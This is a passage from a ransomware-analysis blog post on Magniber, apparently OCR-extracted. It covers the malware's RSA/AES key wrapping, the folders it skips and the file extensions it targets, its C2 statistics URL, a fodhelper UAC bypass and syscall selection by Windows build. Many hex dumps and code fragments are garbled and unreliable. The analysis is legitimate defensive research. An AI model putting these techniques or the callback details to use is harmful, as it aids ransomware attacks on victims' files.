00
00

03
BA
AT
7E
Do
D
1E
64
96
19
83
FE
47
6A
53
9B
00
00

D1
16
Lay]
48
E7
7e
DB
EF
13
D&
TF
DA
00
00

Once the buffer containing the AES key and IV is passed to the function, the random padding is appended to it:
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pub_n

pub_e, ‘ , _pub_n, r pub_n

, Fsa_pub_n_

The prepared data, containing the AES key and IV are encrypted, and then copied to the output buffer.
Verifying the RSA implementation

Verifying the RSA implementation by static analysis may be a laborious tasks. So, I am gonna use a shortcut. I
will dump the data involved in the encryption process: n — key, e — exponent, and m — message, and repeat the
encryption with the help of public tools, where I am sure the RSA has been implemented correctly. If I can obtain

the same ciphertext, it means that the implementation in the malware is valid.

I hooked the function apply_assymmetric_crypto and dumped the elements listed below. Full code of the loader

can be found here.

Page 36 of 47


https://www.dcode.fr/rsa-cipher
https://gist.github.com/hasherezade/6662b534d08786ddf1ba73457d4b94fe

https://hshrzd.wordpress.com /2023/03/30/magniber-ransomware-analysis/

Mind the fact that the order of bytes in the dumped buffer needs to be reversed. This can be done conveniently with

CyberChief. Example here.
RSA key components:
e= 10001

n= cb6 c2 f7 3c 03 46 3d 1b 4e 3e a9 @3 bb 4d 3a 6c cb f3 88 cf 53 5b 43 cb 75 17 97 8a 73 c6 88 01
46 ba cd 65 69 bf ef 20 f0 @a b2 a7 99 6d 3c 87 f1 a5 21 94 c1 53 1f 8c b6 69 3d 7e d@ d4 a4 ba 63 d1
37 8e 0f af 4b b5 71 4e 58 d0 7e 64 a0 2f 4d 16 43 fa 9f 51 19 b3 99 5d 7c 7d 66 €@ 62 06 d3 cd 1c 63
76 5e 25 64 84 al dc 1e 09 84 eb 76 e3 48 aa a7 c3 66 e2 28 9f 3c 81 64 5b 6a 04 3d 92 e7 bf e9 65 39
c3 f6 53 fa 70 96 11 15 a5 50 75 76 e7 31 94 53 7c eb 5a bb 75 19 7a 6f 21 3b €@ db 42 cb 9f c7 d2 04
80 70 e8 83 d5 35 1e a7 40 ef db 42 8c 2e 5e de @ c9 51 fe 80 @f 6b @b 16 13 3e 2b f1 €2 12 d9 58 8b
18 47 77 b2 2f 83 53 db6 a9 74 99 18 e2 ec 14 36 d1 6a bd 5c 00 77 ae 7f 52 26 7b €9 04 02 a8 el 12 53
50 6c b8 34 2d da 11 bd c6 c4 b7 d9 19 02 16 9b 32 b4 1f 15

Content to be encrypted: random AES key + IV (hilighted) + padding:

m= 00 02 ab 7e 91 79 c1 59 64 2f 7e af 7f c1 59 eb 13 7e af 7f 33 59 b3 @f 79 a1l 1d 31 37 b3 0f 8f
9d 1d 35 81 c3 Of 6f 91 ab el 81 64 41 6f 91 79 e1 81 64 2f 7e 91 7f 33 59 eb 13 79 af 7f 33 37 b3 13
35 59 e7 72 41 f7 eb e5 f4 fb 72 41 f7 93 39 f4 fb ab eb f7 6f 91 ab el 81 64 41 6f 91 79 c1 81 64 13
7e af 7f 33 72 41 7 93 e5 f4 fb ab eb 41 6f 91 ab e1 81 64 41 6f 91 79 e1 81 64 2f 7e cd 99 e7 09 97
33 3d 61 3f 79 45 97 33 93 e5 f4 fb ab 41 f7 93 39 ab fb 81 64 41 6f 91 79 c1 81 64 13 7e af 7f 33 37
eb 13 8f a1l 1d 31 55 b3 @f 6c e7 c3 35 81 cb cb 6¢c e7 5d 5b 20 99 b3 ab 83 90 15 69 05 b3 49 5b 8f 62
59 79 0f 49 b3 15 7f 63 41 6c e7 5d 33 20 99 41 ab 33 5d 33 a7 00 f7 93 39 ab e1 81 64 13 7e af 7f 31
37 b3 cb 6c e7 63 3d @5 b3 4b b3 8f 62 6b 59 €9 61 09 f3 33

The resulting ciphertext:

c= 11 2d 19 b0 82 4b @b 24 88 e8 b7 db 00 Te 84 ef 92 6a b6 1c f2 90 49 df 42 e3 f2 c9 1a €0 9d 92
52 24 00 ad 09 5b 0a 85 Od 68 20 a2 ed 48 f1 2e 88 23 70 d5 d8 15 57 58 ef 94 34 9a 4c 12 79 0f 42 3c
bc 5b @a d1 5b 25 97 ce 67 8a d2 90 4a 87 el a8 6¢c 01 ca le 27 f9 4c 62 2a eb 58 89 d9 Qe 02 65 9f 42
db 03 f1 7c bf d8 6f eb 09 42 eb 13 db e8 82 db 05 7c c2 26 90 1c 89 2c 70 25 17 a@ 7f 23 al 4e b8 5a
16 f4 53 f8 aa 72 b1 2e 9b 04 1c 4e 33 a3 96 be f1 6f Qe 81 c5 91 3e 49 a2 @e cd 47 75 33 @d 67 6d 9
01 79 8d 43 3b bb 07 ac cf 12 ef ef eb 87 77 4b 9a fa 98 48 d5 1f cf 43 47 @5 7f 6b da 16 f3 57 a7 39
f@ 78 ec db ab 7e db 64 33 1c ab bb a@ 8c 3c e5 8a dO@ eb ec da c5 b5 41 69 78 b5 eb el f1 73 6e 5f db
f7 69 64 16 32 1a ac 02 ee 5e 34 0f 7d f2 d@ cc 3b 55 10 60

Reproducing the steps with a public tool, at: https://www.boxentriq.com/code-breaking/modular-exponentiation :
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Calculate a? mod m
Number (a) Exponent (b)

00 02 ab 7€ 9179 €159 64 10001
2f7eaf7fc1s9eb 13 7eaf
7f3359b3of 79 a11d 31
37bzof 8fod 1d 35 81 ¢3
of 6f91abe1 8164 41 6f91
79 ¢18164 2f7e 917f33 59
eb1379af 7£3337b3 1335
s9e77241f7¢ebesfatb
7241f79339f4fthabeb
fr6forabe1 8164 416f91
79c18164137¢ af 733 72
41f793esf4fbabeba
6f91abe18164416f9179
e181642f7ecd 99 €709
9733 3d 613£79 459733
93esfatbabqifrozze
Use hexadecimal numbers

Calculate

Result

Modulo (m)

céc2fracoz463dib e
3ea903bb4d3a6cchis
88 cf535b43chb751797
8a73c6 880146 bacd 65
69 bf ef 20 fo oabz a7 99
6d3c87f1as 2194 c1531f
8cbé693d7edodsas ba
63d1378eof af 4bbs 7
4es8do7essaoafadie
43faofs119b3995d 7¢
7d 66 €0 6206 d3 cd 1c 63
76 5¢ 25 64 84 a1dc1e 09
84 c676¢348 aaayc3 66
e228 9f3c 8164 5b 6a 0y
sd92e7bfe9 6539316

112d19bo824bob2488e8brdboo1e84efo26absicfz9049df42e3f2091ae09d92522400ad095b0ass
odé820a2ed48f12e882370d5d 815575 8ef94349a4c12790f423cbesboadisbasoreesr8ad 2904a87e1
a8écorcale27fo4c622aebs889doceo26s59fa2dbosfizebid8sfebogq2eé13dée8B2d60s7c0226901¢
8920702517a0723a14eb85a16f453fBaa72b12e9bo41cqezzazosbefisfoesicsorzeq9a20ecd 4775330
de7edfoo1798d433bbboraccfizefefeb8rrraboafas848dsifefsza70s7febdatéefasrarzoforsecdba
é7edbéq3zicasbsacicscesBadoesecdacshsq16978bsese1fi73sesfdefr696416321aac02ee5e340f7

dfzdocesbssioso

We can see that indeed, our output is identical like the one generated by the malware, so the RSA implementation

is correct. No luck this time!

2

However, since the malware doesn’t generate a new keypair per each victim, and only uses the RSA key

hardcoded in the sample, it may be possible to reuse the private key once purchased from the attacker, and share it

with other victims of the identical sample.

What is encrypted

During the check with the help of FLOSS, we found in some directories hardcoded in the shellcode, that will be

excluded from the encryption:
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FLOSS static Unicode strings
[...]

documents and settings
appdata

local settings

sample music

sample pictures

sample videos

tor browser

recycle

windows

boot

intel

msocache

perflogs

program files

programdata

recovery

system volume information
winnt

[...]

This list is being used at the beginnign of the function responsible for encrypting directory content:

Yet, our extracted list of strings didn’t contain the attacked extensions — althougt it was clear during the behavioral

analysis that not all files are encrypted. Let’s have a closer look at how this distinction is being made:

hash = calculate_extension_hash(filename);
( check_if_attacked extension(

encrypt_file(filename};

The filtering of the files is done, by calculating hashes of their extensions, and then comparing them with a
hardcoded list.
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The function calculating the extension hash:

inte4 fastcall calculate extension hash( WORD *filename)

unsig t ext_hash; |
_WORD *filename_end_ ptr;
igned int fsize; // rléed
K
unsigned _ intle *extension;
int ext_ptr; // ecx

is_alpha = 1;

ext_hash = 8;

filename_end _ptr = filename;
( *filename_end_ptr++ )

filename_end ptr - filename - 1;
v

= fsize - 1; filename[i] != ".";

BB
Bxbl

LODWORD (1)
+textension;

while { i < fsize });
if ( is_alpha )
return @iGd;
else
return ext_hash;

The list of the valid extension hashes is hardcoded in the malware. We can find the matching extension just by a

brutforce method.
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Again, I didn’t want to waste time reimplementing functions responsible for hashing the extensions, and for

checking them, so I just plug the functions from the original malware to my code. You can see the brutforcer here.

There are two list of extensions that can be selected depending on the flag passed to the function encrypting a

directory:

List @:
arc asf avi bak bmp fla flv gif gz iso jpeg jpg mid mkv mov mpeg mpg paq png rar swf tar tbk tgz tif

List 1:
abm abs abw act adn adp aes aft afx agif agp ahd ai aic aim albm alf ans apd apm apng aps apt apx ar

The encrypting function is going to be called twice, each time a different list is enabled:

So, both lists are going to be used.

Communication with the C2

The malware comes with an ability to communicate with the C2, for the purpose of upload of the statistics. After

the series of encryption has finished, and if at least 100 files got encrypted, it sends an information about it to the

Server:
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ypt_files in_directory(
i le

The passed data, including the unique victim ID, and various counts of the attacked targets, is merged together to

create a URL. Example:

L"http://8e50de0@b650821vieijibfm. jobsoon.fun/vieijibfm&2&1367508359814525&5514482219043"

HOF eCX,ecx
Eal riz InternetOpenw
lea rdx,qword ptr ss:[rbp-50§
®or rod,rod

®or rad,rsd

MoV rcx,rax

mov gword ptr ss:[firsp+zsf,0
mov rdi,rax

mov dword ptr ss:jirsp+20f, 4000100

galll gword ptr ss:[frbp+ 1 Internetopenur Tw
MoV _FrCx,rax

E2ll riz InternetCloseHandle
mov rcx,rdi

Eall riz InternetCloseHandle

edx=000000000014F8AD L"http://8e50ded0bes0821lvieijibTtm. jobsoon. Tun/vieijibTm&2&1367508359&14525&55144&2219043™

The base URL ( jobsoon.fun ) is hardcoded in the sample as a stack-based string, similarly to the name of the

DLL to be loaded: wininnet.d1l , that will be used for the internet connection.
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winine
winine
winine
winine
wininet[4

The relevant functions are loaded by their hashes, using the common technique involbing PEB lookup (similat to

this one).

get func_by hash(
get _func_by ha

memset (v

Privilege elevation

The UAC bypass attempt involving fodhelper.exe (based on the PoC: FodhelperBypass.ps1.), that we observed
during the tracing is executed between two series of files encryption. First the malware is trying to encrypt files
without elevating the privileges. After it finished, it makes attempt to deploy the UAC bypass (without any prior

checks if it is required). Then another attempt of deploying the encryption functions is being made.
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in_directory(

encrypt_fil

Usage of KUSER_SHARED_DATA

While analyzing the code, we can see references to some hardcoded memory address. Example:

This address resolves to KUSER_SHARED_ DATA:

00000000005 30000 | 00000000000C 2000 | \Device'\Harddi skvolume2' windows®,
oooo00007 FFEQOOD | 0000000000001000 | KUSER_SHARED_DATA
000000007 FFEGDOOD | 0000000000001 000
00000001 80000000 | 0000000000001L000 | magni 2. exe
QOO0 L S000 L0000 | 0000000000 F 000 ".swicc”
00000001 80010000 ( 20000000 00001L000 " goynr"
000000018001 1000 | 000000000000 1L000 W]y
00000000000 0E 0 "shellc"

KUSER_SHARED_DATA is a read-only memory page, containing a structure with many intresting information about

the system, that is mapped both in the user mode and the kernel mode (more info here and here).

A convenient dump of the whole structure for a current system can be done with the help of WinDbg — example

here. We can further use this dump to resolve what field is referenced by a particual address.

Windows Build Number and syscalls selection
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One of the fields that is quite often used by the malware is NtBuildNumber . It is first used at the beginning of the

shellcode — if the build number was lower than the hardcoded one, the malware won’t run at all:

This makes sense, because the numbers of syscalls may differ depending on Windows version — and this malware
have them hardcoded. In order to guarantee a backward compatibility, the authors would have to retrieve the

syscall numbers automatically from ntdll . Clearly they wanted to avoid this hassle. As a result, all Windows

version below 10 will be spared from this attack.

There are some cases, when still the proper syscall number need to be adjusted to a particular version of Windows.
In order to do it, they just select a number of the syscall from multiple options, basing on the retrieved Windows

build. Such implementation is used i.e. in case of NtUserSystemParametersInfo
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= content;
NtUserSystemParametersInfo(@xls,
return MtFreeVirtualMemory (8x

Time checks

KUSER_SHARED_DATA also provides an access to a system clock, so it can be used for various time checks:
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op_file(al, 1);

Conclusion

In the current blog I wanted to demonstrate, how tracing with the help of Tiny Tracer can speed up the analysis
process. It does not only give a high level overview of what is happening inside, but also it allows to quickly find
where the relevant code is located in the binary. The generated tags can help us annotate the code in disassemblers
and debuggers, helping to understand functions that are resolved dynamically, or like in the current case, by

syscalls. I also demonstrate how to overcome some problems that can interfere with tracing.

In addition to tracing, I demonstrated some of my other tools that can be useful in the analysis process — such as

PE-sieve/HollowsHunter for dumping of the injected shellcode.

Additionally, we analyzed the main shellcode of Magniber, containing the implementation of the files encryption.
This shellcode (#2) is the part being injected to other processes. Note, that Magniber has yet another shellcode
(#1), that is responsible for doing the the process injection. This shellcode showed up in the tracing. Yet, I am

leaving its detailed analysis as an exercise to the reader.

Source: https://hshrzd.wordpress.com/2023/03/30/magniber-ransomware-analysis/
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